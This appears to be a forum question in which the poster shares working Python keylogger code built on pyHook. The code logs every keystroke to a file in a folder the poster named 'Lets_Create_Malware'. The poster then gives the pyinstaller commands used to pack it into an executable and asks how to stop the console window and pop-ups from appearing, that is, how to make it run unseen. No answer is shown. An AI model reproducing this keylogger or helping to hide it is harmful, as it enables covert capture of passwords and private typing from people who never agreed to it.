Reputation: 1721
I have python file, saved with .pyw to suppress console
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Lets_Create_Malware\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Then I convert to .exe with pyinstaller,
c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
but when I double-click the .exe, I get console
I tried --noconsole option, i.e.
c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw
But when I double-click the .exe, I get series of annoying pop-ups that I must terminate with Task Manager.
How to fix?
Upvotes: 1
Views: 1055